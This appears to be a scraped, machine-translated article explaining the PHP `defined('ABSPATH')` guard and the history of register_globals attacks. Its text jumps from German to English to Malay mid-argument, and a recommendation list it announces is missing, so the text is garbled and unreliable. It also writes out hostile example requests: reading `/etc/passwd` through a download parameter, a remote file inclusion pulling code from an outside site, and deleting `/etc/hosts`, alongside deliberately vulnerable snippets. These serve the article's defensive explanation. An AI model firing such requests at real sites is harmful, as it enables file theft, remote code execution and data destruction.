Hinweis: Um diesem Beitrag folgen zu können, wird davon ausgegangen, dass Sie über einige Grundkenntnisse in der Programmierung in PHP verfügen.
In diesem Artikel geht es um ein PHP-Code-Snippet, das Sie wahrscheinlich oben in Ihrem bevorzugten CMS oder Framework gesehen haben. Sie haben wahrscheinlich gelesen, dass Sie es aus Sicherheitsgründen immer am Anfang jeder von Ihnen entwickelten PHP-Datei einfügen sollten, allerdings ohne eine klare Erklärung dafür. Ich beziehe mich auf diesen Code:
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly }
Diese Art von Code kommt in WordPress-Dateien sehr häufig vor, obwohl er in fast allen Frameworks und CMS vorkommt. Im Fall des CMS Joomla besteht die einzige Änderung beispielsweise darin, dass anstelle von ABSPATH JEXEC verwendet wird. Ansonsten bleibt die Logik dieselbe. Dieses CMS ist aus einem früheren System namens Mambo hervorgegangen, das ebenfalls ähnlichen Code verwendete, jedoch mit _VALID_MOS als Konstante. Wenn wir noch weiter zurückgehen, stellen wir fest, dass das erste CMS, das diese Art von Code verwendete, PHP-Nuke war (von einigen als das erste PHP-basierte CMS angesehen).
Der Ausführungsablauf von PHP-Nuke (und den meisten heutigen CMS und Frameworks) bestand aus dem sequenziellen Laden mehrerer Dateien, um auf die Aktion zu reagieren, die der Benutzer oder Besucher auf der Website ausgeführt hatte. Stellen Sie sich zum Beispiel eine Website aus dieser Zeit vor, die bei example.net gehostet wird und auf der dieses CMS installiert ist. Jedes Mal, wenn die Homepage geladen wurde, führte das System eine Folge von Dateien der Reihe nach aus (dies ist nur ein Beispiel, keine tatsächliche Folge): index.php => load_modules.php => module.php. In dieser Kette wurde zuerst index.php geladen, das dann Load_modules.php geladen hat, das wiederum Modules.php geladen hat.
Diese Ausführungskette begann nicht immer mit der ersten Datei (index.php). Tatsächlich könnte jeder einen Teil des Ablaufs umgehen, indem er über die URL direkt auf eine der anderen PHP-Dateien zugreift (z. B. http://example.net/load_modules.php oder http://example.net/modules.php). , was, wie wir sehen werden, in vielen Fällen riskant sein kann.
Wie wurde dieses Problem gelöst? Eine Sicherheitsmaßnahme wurde eingeführt, indem am Anfang jeder Datei ein ähnlicher Code wie dieser hinzugefügt wurde:
<?php if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) { die ("You can't access this file directly..."); }
Im Wesentlichen prüft dieser Code, der oben in einer Datei mit dem Namen „modules.php“ platziert wird, ob auf „modules.php“ direkt über die URL zugegriffen wird. Wenn ja, wurde die Ausführung gestoppt und die Meldung angezeigt: „Sie können nicht direkt auf diese Datei zugreifen…“ Wenn $HTTP_SERVER_VARS['PHP_SELF'] module.php nicht enthielt, bedeutete dies, dass der normale Ausführungsfluss aktiv war und dies zuließ Skript zum Fortfahren.
Dieser Code hatte jedoch einige Einschränkungen. Erstens war der Code für jede Datei, in die er eingefügt wurde, unterschiedlich, was die Komplexität erhöhte. Darüber hinaus hat PHP in bestimmten Situationen $HTTP_SERVER_VARS['PHP_SELF'] keinen Wert zugewiesen, was seine Wirksamkeit einschränkte.
So, what did the developers do? They replaced all those code snippets with a simpler and more efficient version:
<?php if (!defined('MODULE_FILE')) { die ("You can't access this file directly..."); }
In this new code, which had become quite popular in the PHP community, the existence of a constant was checked. This constant was defined and assigned a value in the first file of the execution flow (index.php, home.php, or a similar file). Therefore, if this constant didn’t exist in any other file in the sequence, it meant that someone had bypassed index.php and was attempting to access another file directly.
At this point, you may be thinking that breaking the execution chain must be extremely serious. However, the truth is that, usually, it doesn’t pose a major threat.
The risk might arise when a PHP error exposes the path to our files. This shouldn’t concern us if the server is configured to suppress errors; even if errors weren’t hidden, the exposed information would be minimal, providing only a few clues to a potential attacker.
It could also happen that someone accesses files containing HTML fragments (views), revealing part of their content. In most cases, this should not be a cause for concern either.
Finally, a developer, either by mistake or lack of experience, might place risky code without external dependencies in the middle of an execution flow. This is very uncommon since framework or CMS code generally depends on other classes, functions, or external variables for its execution. So, if an attempt is made to execute a script directly through the URL, errors will arise as these dependencies won’t be found, and the execution won’t proceed.
So, why add the constant code if there is little reason for concern? The answer is this: "This method also prevents accidental variable injection through a register globals attack, preventing the PHP file from assuming it's within the application when it’s actually not."
Since the early days of PHP, all variables sent via URLs (GET) or forms (POST) were automatically converted into global variables. For example, if the file download.php?filepath=/etc/passwd was accessed, in the download.php file (and in those depending on it in the execution flow), you could use echo $filepath; and it would output /etc/passwd.
Inside download.php, there was no way to know if the variable $filepath was created by a prior file in the execution chain or if it was tampered with via the URL or POST. This created significant security vulnerabilities. Let’s look at an example, assuming the download.php file contains the following code:
<?php if(file_exists($filepath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filepath).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filepath)); flush(); // Flush system output buffer readfile($filepath); exit; }
The developer likely intended to use a Front Controller pattern for their code, meaning all web requests would go through a single entry file (index.php, home.php, etc.). This file would handle session initialization, load common variables, and finally redirect the request to a specific script (in this case, download.php) to perform the file download.
However, an attacker could bypass the intended execution sequence simply by calling download.php?filepath=/etc/passwd, as mentioned before. PHP would automatically create the global variable $filepath with the value /etc/passwd, allowing the attacker to download that file from the system. Serious problem.
This is only the tip of the iceberg since even more dangerous attacks could be executed with minimal effort. For example, in code like the following, which the programmer might have left as an unfinished script:
<?php require_once($base_path."/My.class.php");
An attacker could execute any code by using a Remote File Inclusion (RFI) attack. If the attacker created a file My.class.php on their own site https://mysite.net containing any code they wanted to execute, they could call the vulnerable script by passing in their domain: useless_code.php?base_path=https://mysite.net, and the attack would be complete.
Another example: in a script named remove_file.inc.php with the following code:
<?php if(file_exists($filename)) { if( unlink($filename) ) { echo "File deleted"; } }
an attacker could call this file directly with a URL like remove_file.inc.php?filename=/etc/hosts, attempting to delete the /etc/hosts file from the system (if the system allows it, or other files they have permission to delete).
In a CMS like WordPress, which also uses global variables internally, these types of attacks were devastating. However, thanks to the constant technique, these and other PHP scripts were protected. Let’s look at the last example:
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } if(file_exists($filename)) { if( unlink($filename) ) { echo "File deleted"; } }
Now, if someone attempted to access remove_file.inc.php?filename=/etc/hosts, the constant would block the access. It is essential that this is a constant because, logically, if it were a variable, an attacker could inject it.
By now, you may wonder why PHP kept this functionality if it was so dangerous. Also, if you know other scripting languages (JSP, Ruby, etc.), you’ll see they have nothing similar (which is why they also don’t use the constant technique). Recall that PHP was initially created as a C-based templating system, and this behavior made development easier. The good news is that, seeing the issues it caused, PHP maintainers introduced a php.ini directive called register_globals (enabled by default) to allow this functionality to be disabled.
But as problems persisted, they disabled it by default. Even so, many hosts kept enabling it out of fear that their clients’ projects would stop working, as much of the code at the time did not use the recommended HTTP_*_VARS variables to access GET/POST/... values but rather used global variables.
Als sie schließlich sahen, dass sich die Situation nicht verbesserte, trafen sie eine drastische Entscheidung: diese Funktionalität in PHP 5.4 zu entfernen, um all diese Probleme zu vermeiden. Daher stellen Skripte wie die, die wir gesehen haben (ohne die Verwendung von Konstanten), heute normalerweise kein Risiko mehr dar, abgesehen von einigen harmlosen Warnungen/Hinweisen in bestimmten Fällen.
Heute ist die Konstanttechnik immer noch üblich. Die bedauerliche Realität – und der Grund für diesen Artikel – ist jedoch, dass nur wenige Entwickler den wahren Grund für seine Verwendung verstehen.
Wie bei anderen Best Practices aus der Vergangenheit (wie dem Kopieren von Parametern in lokale Variablen innerhalb von Funktionen, um Probleme mit Referenzen zu vermeiden oder der Verwendung von Unterstrichen in privaten Variablen, um sie zu unterscheiden), wenden viele sie weiterhin an, einfach weil ihnen jemand einmal gesagt hat, dass es sich um eine handelt gute Praxis, ohne zu hinterfragen, ob sie heute noch einen Mehrwert bietet. Die Wahrheit ist, dass diese Technik in den meisten Fällen nicht mehr notwendig ist.
Hier sind einige Gründe, warum diese Praxis an Relevanz verloren hat:
Entfernung von *register globals: Seit PHP 5.4 wurde die automatische Registrierung von GET- und POST-Variablen als Globals in PHP entfernt. Ohne *register globals ist die direkte Ausführung einzelner Skripte harmlos, wodurch der Hauptgrund für diese Technik entfällt.
Besseres Code-Design: Selbst in Versionen vor PHP 5.4 ist moderner Code besser strukturiert, im Allgemeinen in Klassen und Funktionen, was den Zugriff oder die Manipulation über externe Variablen schwieriger macht. Sogar WordPress, das traditionell globale Variablen verwendet, minimiert diese Risiken.
Verwendung von *Front-Controllern: Heutzutage verwenden die meisten Webanwendungen gut gestaltete *Front-Controller, um sicherzustellen, dass Klassen- und Funktionscode nur ausgeführt wird, wenn die Ausführung erfolgt Die Kette beginnt am Haupteinstiegspunkt. Wenn also jemand versucht, Dateien isoliert zu laden, wird die Logik nicht ausgelöst, es sei denn, der Fluss beginnt am richtigen Einstiegspunkt.
Automatisches Laden von Klassen: Mit der weit verbreiteten Verwendung des automatischen Ladens von Klassen in der modernen Entwicklung ist die Verwendung von include oder require erheblich zurückgegangen. Dies verringert die Risiken, die mit diesen Methoden (wie Remote File Inclusion oder Local File Inclusion) bei erfahreneren Entwicklern verbunden sind.
Trennung von öffentlichem und privatem Code: In vielen modernen CMS und Frameworks ist öffentlicher Code (wie Assets) vom privaten Code (Logik) getrennt. Diese Maßnahme ist besonders wertvoll, da sie sicherstellt, dass PHP-Code (unabhängig davon, ob er die konstante Technik verwendet oder nicht) nicht offengelegt wird, wenn PHP auf dem Server ausfällt. Obwohl diese Trennung nicht speziell zur Abschwächung von Register-Globals implementiert wurde, trägt sie dazu bei, andere Sicherheitsprobleme zu verhindern.
Penggunaan URL Mesra Secara meluas: Pada masa kini, mengkonfigurasi pelayan untuk menggunakan URL mesra adalah amalan biasa, memastikan satu titik masuk untuk logik aplikasi. Ini menjadikan hampir mustahil bagi sesiapa sahaja untuk memuatkan fail PHP secara berasingan.
Penindasan Ralat dalam Pengeluaran: Kebanyakan CMS dan rangka kerja moden melumpuhkan output ralat secara lalai, jadi penyerang tidak menemui petunjuk tentang kerja dalaman aplikasi, yang boleh memudahkan jenis serangan lain.
Walaupun teknik ini tidak lagi diperlukan dalam majoriti kes, itu tidak bermakna ia tidak pernah berguna. Sebagai pembangun profesional, adalah penting untuk menganalisis setiap situasi dan memutuskan sama ada teknik berterusan adalah berkaitan dengan konteks khusus di mana anda bekerja. Pemikiran kritis seperti ini harus sentiasa diterapkan, walaupun pada apa yang dipanggil amalan terbaik.
Jika anda masih tidak pasti bila hendak menggunakan teknik berterusan, pengesyoran ini mungkin membimbing anda:
Untuk semua perkara lain, jika anda ragu-ragu, gunakannya. Dalam kebanyakan kes, ia tidak akan membahayakan dan boleh melindungi anda dalam keadaan yang tidak dijangka, terutamanya jika anda baru bermula. Dengan masa dan pengalaman, anda akan dapat menilai masa untuk menggunakan teknik ini dan teknik lain dengan lebih berkesan.
Atas ialah kandungan terperinci Kod PHP Pelik itu dalam Rangka Kerja dan CMS. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!